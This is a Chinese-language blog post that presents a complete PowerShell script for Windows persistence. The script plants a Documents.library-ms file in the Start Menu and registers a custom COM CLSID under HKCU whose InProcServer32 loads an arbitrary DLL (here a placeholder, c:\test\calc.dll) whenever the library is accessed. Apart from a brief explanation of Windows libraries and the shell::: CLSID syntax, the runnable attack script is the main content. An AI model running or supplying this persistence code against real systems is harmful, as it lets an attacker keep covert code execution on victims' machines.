Library-Files-维持权限--对比自带CLSID打开程序

简单介绍下库的概念

库是用户定义的用户的内容的逻辑表示的文件夹集合。 通过在库中包括文件夹,用户告知 Windows 他或她的重要数据的位置。 系统将索引启用快速搜索和 Windows 资源管理器中的功能根据文件属性和元数据更丰富查看排列在这些文件夹,库描述保存在磁盘 %appdata%\Microsoft\Windows\Libraries 文件夹

下面是3g老师的代码
function Invoke-LibraryFilesPersistence
{ 
<#
.SYNOPSIS
First modify the registry and then create a file named Documents.library-ms in %appdata%\Microsoft\Windows\Start Menu\Programs\Accessories.
It'll load c:\test\calc.dll on start-up.
Author: 3gstudent
Reference:
https://www.countercept.com/blog/abusing-windows-library-files-for-persistence/
#>
$clsid = "{11111111-1111-1111-1111-111111111111}"
$outpath = $env:appdata+"\Microsoft\Windows\Start Menu\Programs\Accessories\"+"Documents.library-ms"
$payload = "c:\test\calc.dll"
$xml = @"
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@shell32.dll,-34575</name>
<ownerSID></ownerSID>
<version>6</version>
#islibrarypinned关闭了,那么左侧相应的Library就不会被固定住
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1002</iconReference>
<templateInfo>
#文件资料夹 {7D49D726-3C21-4F05-99AA-FDC2C9474656}
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription publisher="Microsoft" product="Windows">
<description>@shell32.dll,-34577</description>
<isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation>
<isSearchOnlyItem>true</isSearchOnlyItem>
<simpleLocation>
#此处指示的打开方式和win+R方式通过指定控制面板的CLSID是一样的,这话CLSID是我们自己添加的com对象
<url>shell:::$clsid</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
"@
$xml| Out-File $outpath -encoding utf8
$RegKey = "HKCU:\Software\Classes\CLSID\$clsid\"
New-Item -type Directory $RegKey
New-Item -type Directory $RegKey"InProcServer32"
New-Item -type Directory $RegKey"ShellFolder"
New-ItemProperty -path $RegKey"InProcServer32" -name "(default)" -value $payload -propertyType string
New-ItemProperty $RegKey"InProcServer32" -name "ThreadingModel" -value "Apartment" -propertyType string
New-ItemProperty $RegKey"ShellFolder" -name "Attributes" -value 0xf090013d -propertyType dword
}
Invoke-LibraryFilesPersistence

在这里插入图片描述

比如下面运行,就是通过shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}可以打开所有控制面板

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值